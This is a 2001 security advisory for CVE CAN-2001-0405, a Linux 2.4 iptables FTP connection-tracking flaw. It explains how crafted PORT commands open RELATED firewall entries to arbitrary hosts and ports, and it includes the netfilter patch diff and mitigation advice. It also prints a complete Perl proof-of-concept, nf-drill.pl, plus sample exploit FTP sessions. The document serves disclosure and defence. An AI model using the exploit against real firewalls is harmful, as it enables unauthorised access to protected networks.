Security
Advisory - #01/2001
|
Security flaw in Linux 2.4 IPTables using FTP PORT
Tempest
Security Technologies
a business unit of CESAR - Centro de Estudos
e Sistemas Avançados do Recife
Author: Cristiano Lincoln Mattos, CISSP, SSCP <lincoln@cesar.org.br>
Recife, Pernambuco, Brazil
Table of Contents
- Overview
-
Detailed description
- Solutions
- Demonstration
tool
- Download
- Acknowledgements
- Text
version
Overview
Systems
affected: Firewalls using Linux Kernel 2.4.x with
IPTables
Release date: 16 April
2001
Platforms: Linux
Kernel 2.4.x
Bugtraq
ID: 2602
CVE:
CAN-2001-0405
Impact: If an
attacker can establish an FTP connection passing through a Linux
2.4.x IPTables firewall with the state options allowing "related"
connections (almost 100% do), he can insert entries into the firewall's
RELATED ruleset table allowing the FTP Server to connect to any
host and port protected by the firewalls rules, including the
firewall itself.
Linux 2.4.x
includes NetFilter, a raw framework for filtering and mangling
packets. IPTables, used for firewalling, is set inside the NetFilter
framework. One of the new features in this setting is connection
tracking, known to some as "stateful inspection". The
four possible states it can mantain are: ESTABLISHED, NEW, RELATED
and INVALID. We are interested here in the RELATED state -- it
includes, among other things, the FTP DATA connections, active
(PORT command) and passive (PASV command).
The module
ip_conntrack_ftp is responsible for analysing FTP connections
that pass through the firewall, looking for PORT and PASV commands,
and including entries for those connections in the firewall's
connection table. There is a security flaw in the manner in which
the PORT command is interpreted and processed. Essentially, you
can pass any IP/port in an FTP PORT commmand, and the module will
not validate these parameters, adding an entry to the RELATED
ruleset allowing connections from the FTP server, any source port,
to the specified destination IP and port. In most cases, people
make stringent security rules and have lax firewall rules regarding
RELATED connections, allowing the attacker to connect to anywhere.
This can be used, for example, for the FTP server to connect to
any TCP port on the firewall, or any other node protected by the
firewall. Even though there may be rules normally denying this
type of traffic, it would pass through the firewall, because of
the rule allowing RELATED.
The attacker does not even need to have a valid login in the FTP
server, as the PORT command is interpreted by the module independently
of any authentication procedures (USER and PASS).
This is a security flaw which can be exploited when an attacker
is in a position behind your firewall, i.e., "protected".
For example, if your firewall protects an FTP Server and the attacker
has compromised it by other means, he can use this to connect
to other protected networks. Or, if your attacker is behind your
firewall as a client and connects to an FTP server on the Internet,
he can use it to allow this FTP server to connect to other protected
networks.
Detailed description
Most
firewall setups using IPTables include the following rule, for
allowing established and related connections through:
iptables
-A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT
The "related"
state includes connections such as the FTP data transfer connections,
both active and passive modes. If related connections and FTP
are allowed through the firewall, then the system is most likely
vulnerable.
The attack consists in connecting to the FTP server (passing through
the firewall) and using the PORT commands with arbitrary IP and
port parameters - the normal parameters should be the client's
IP and a random port.
To explain
the process in more details, we'll outline the following scenario:
- Client
IP: 200.249.243.12, an IP on the internet
- Firewall:
200.249.137.1 (internet interface) 200.249.193.1 (DMZ interface)
- FTP
server: 200.249.193.2 (inside a DMZ network, protected by the
firewall)
In a normal ftp data transfer, the client would emit the following
command to initiate an active data transfer:
PORT
200,249,243,12,4,10
Which would
insert an entry in the connection table (cat /proc/net/ip_conntrack),
of the following form:
EXPECTING:
proto=6 src=200.249.193.2 dst=200.249.243.12 sport=0 dport=1034
Allowing a connection from the FTP server to the client in the
specified
port. Since the module ip_conntrack_ftp doesn't check the passed
IP and
ports, an attacker can pass the following parameters:
PORT 200,249,193,1,0,22
Which would insert an entry in the connection table (cat /proc/net/ip_conntrack),
of the following form:
EXPECTING:
proto=6 src=200.249.193.2 dst=200.249.193.1 sport=0 dport=22
Allowing
a connection from the FTP server to the firewall, on port 22,
ie, the SSH port. This will work by inserting the rule into the
RELATED ruleset, which as shown above is normally too open. The
rule can be inserted to any destination IP and port.
Of course, the FTP server will probably not accept the command
(if it has anti-bounce protection), saying "Illegal PORT
command", but the firewall will have interpreted the commands
and added an "expecting related" entry as described
above to its connection table. The attacker will then have ten
seconds to establish the connection, before the entry expires
and is removed from the connection table.
It is not
even necessary to have logged in the FTP server since the module
doesn't check for valid USER and PASS commands. All we have to
do is trick the code into thinking we have established a connection
(IP_CT_ESTABLISHED+IP_CT_IS_REPLY). To do that, it is only necessary
to send any string to the FTP server, which should reply with
"invalid command", and then we send the PORT command
with our parameters... The FTP server will probably be complaining
that a login has not been established yet, but the firewall will
have done what we want it to:
220
tsunami FTP server ready.
xxxgarbagexxx
530 Please login with USER and PASS.
PORT 200,249,193,1,0,22
530 Please login with USER and PASS.
QUIT
221 Goodbye.
The implications
should be obvious -- we outline two main scenarios of attack:
* The FTP server is protected by the firewall: in this case, the
client (attacker) would be on the internet. If the FTP server
is compromised by the attacker using other means, the attacker
can insert rules allowing the FTP server to:
- Connect
to hosts on the internet, for downloading of trojans, tools,
reverse tunnels, etc;
- Connect
to the firewall itself and exploit it from there onwards;
- Connect
to other hosts on networks protected by the firewall, such as
an internal network, for example;
- ...
use your imagination :)
* The client
(attacker) is protected by the firewall: in this case, the client
would connect to an FTP server that he controls on another network
such as the internet (as long as the connection passes through
the firewall). The attacker would insert rules allowing the FTP
server that he controls to:
- Connect
to the firewall itself and attack it from there onwards;
- Connect
to other hosts on networks protected by the firewall, such as
a DMZ or other networks for example;
- ...
again, use your imagination :)
A few observations:
- From
my tests, the use of NAT (NAT of the FTP server, NAT of the
client and NAT of the target) doesn't stop the attack in anyway.
Of course, the attacker will only have to pay attention to which
IP he is connecting to, but the entries are inserted into the
connection table anyway.
- By default,
the ip_conntrack_ftp module only analyses FTP control connections
on port 21, so this would only work on connections to FTP servers
binding on port 21. Unless, obviously, the module were configured
to listen on another port as well.
- This
should not need to be said :) but this attack bypasses the firewall
rules by inserting an entry into the ruleset for RELATED connections
-- for the attack to work, there must be a rule allowing the
client to connect to an FTP server (through the firewall) in
the first place, and the rule allowing the RELATED state for
the specified connection. This is a very common setting, as
most firewalls allow their clients to perform FTP, and the too-open
RELATED rule is also very common -- i've seen it an lots of
IPTables FAQs, guides, lists, etc.
Solutions
First and
foremost, you should tighten your firewall rules to limit the
scope of this vulnerability, by only allowing RELATED connections
to the hosts that really need them, and not to all connections.
The NetFilter core team was notified and quickly developed a patch.
It is available at:
http://netfilter.samba.org/security-fix/
http://netfilter.gnumonks.org/security-fix/
http://netfilter.filewatcher.org/security-fix/
Since it
is small, I've included it here:
diff
-urN linux-2.4.3.orig/net/ipv4/netfilter/ip_conntrack_ftp.c linux/net/ipv4/netfilter/ip_conntrack_ftp.c
--- linux-2.4.3.orig/net/ipv4/netfilter/ip_conntrack_ftp.c Fri
Aug 11 05:35:15 2000
+++ linux/net/ipv4/netfilter/ip_conntrack_ftp.c Mon Apr 16 02:18:30
2001
@@ -187,7 +187,12 @@
(int)matchlen, data + matchoff,
matchlen, ntohl(tcph->seq) + matchoff);
-
/* Update the ftp info */
+ /*
+ * Update the ftp info only if the source address matches the
address specified
+ * in the PORT or PASV command. Closes hole where packets could
be dangerously
+ * marked as RELATED to bypass filtering rules. Thanks to Cristiano
Lincoln
+ * Mattos <lincoln@cesar.org.br> for the report.
+ */
LOCK_BH(&ip_ftp_lock);
if (htonl((array[0] << 24) | (array[1] << 16) | (array[2]
<< 8) | array[3])
== ct->tuplehash[dir].tuple.src.ip) {
@@ -197,13 +202,8 @@
info->ftptype = dir;
info->port = array[4] << 8 | array[5];
} else {
- /* Enrico Scholz's passive FTP to partially RNAT'd ftp
- server: it really wants us to connect to a
- different IP address. Simply don't record it for
- NAT. */
- DEBUGP("conntrack_ftp: NOT RECORDING: %u,%u,%u,%u != %u.%u.%u.%u\n",
- array[0], array[1], array[2], array[3],
- NIPQUAD(ct->tuplehash[dir].tuple.src.ip));
+ UNLOCK_BH(&ip_ftp_lock);
+ return NF_ACCEPT;
}
t = ((struct ip_conntrack_tuple)
Demonstration tool
Exploiting
this flaw is so simple that you can do it easily manually, with
telnet. Anyhow, I wrote a perl script to automate the procedures:
Usage: ./nf-drill.pl --server <ftp> [--serverport <port>]
--host <target>
--port <port> [--verbose]
- server: specifies the FTP server (IP or hostname) to connect
to
- serverport: specifies the port of the FTP server -- default:
21
- host: the IP of the target to open in the connection table
- port: the port of the target to open in the connection table
- verbose: sets verbose mode
#!/usr/bin/perl
#
# nf-drill.pl --- "Drill" holes open in Linux iptables
connection table
# Author: Cristiano Lincoln Mattos <lincoln@cesar.org.br>,
2001
#
# Advisory: http://www.tempest.com.br/advisories/linux-iptables
#
# Tempest Security Technologies - a business unit of:
# CESAR - Centro de Estudos e Sistemas Avancados do Recife
#
# This code is licensed under the GPL.
#
use
Socket;
use Getopt::Long;
use strict;
#
Option variables
my $server;
my $serverport = 21;
my $host;
my $port;
my $verbose = 0;
#
Print function
sub out {
my ($level,$text) = @_;
if (!$level || ($level && $verbose)) { print "$text";
}
}
my
$opt = GetOptions("server=s" => \$server,
"serverport=s" => \$serverport,
"host=s" => \$host,
"port=i" => \$port,
"verbose" => \$verbose);
if
($server eq "" || $host eq "" || $port eq
"" || $port < 0 || $port > 65535) {
print "Usage: $0 --server <ftp> [--serverport <port>]
--host <target> --port <port> [--verbose]\n";
print " - server: specifies the FTP server (IP or hostname)
to connect to\n";
print " - serverport: specifies the port of the FTP server
-- default: 21\n";
print " - host: the IP of the target to open in the connection
table\n";
print " - port: the port of the target to open in the connection
table\n";
print " - verbose: sets verbose mode\n";
exit(0);
}
print
"\n nf-drill.pl -- Cristiano Lincoln Mattos <lincoln\@cesar.org.br>,
2001\n";
print " Tempest Security Technologies\n\n";
#
For the meanwhile, expecting an IP
my @ip = split(/\./,$host);
my $str = "PORT " . $ip[0] . "," . $ip[1]
. "," . $ip[2] . "," . $ip[3] . ","
. ($port >> 8) . "," . ($port % 256) . "\r\n";
#
Socket init
my $ipn = inet_aton($server);
if (!$ipn) {
out(0," Error: could not convert $server\n");
exit(0);
}
my
$sin = sockaddr_in($serverport,$ipn);
socket(Sock,PF_INET,SOCK_STREAM,6);
if
(!connect(Sock,$sin)) {
out(0," Error: could not connect to $server:$serverport.\n");
exit(0);
}
out(0," - Connected to $server:$serverport\n");
my
$buf;
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");
#
First send a dummy one, just to establish the connection in the
iptables logic
send(Sock,$str,0);
out(1," - SEND: $str");
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");
#
Now, send the one that will insert itself into the connection
table
send(Sock,$str,0);
out(1," - SEND: $str");
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");
out(0,"
* $server should now be able to connect to $host on port $port
! (for the next 10 seconds)\n");
out(0," - Closing connection to $server:$serverport.\n\n");
close(Sock);
Download
Download
the file here.
Acknowledgements
Thanks
to Marco "Kiko" Carnut and Evandro Curvelo Hora for
the comments, and to the members of the NetFilter Core Team (James
Morris, Harald Welte) for the quick response and discussion.
"
I *know* it's 1 AM, but could you please change the root password?
This kind of emergency really does happen in real life. "
-- The key argument in a recent
successfull social engineering attack.
|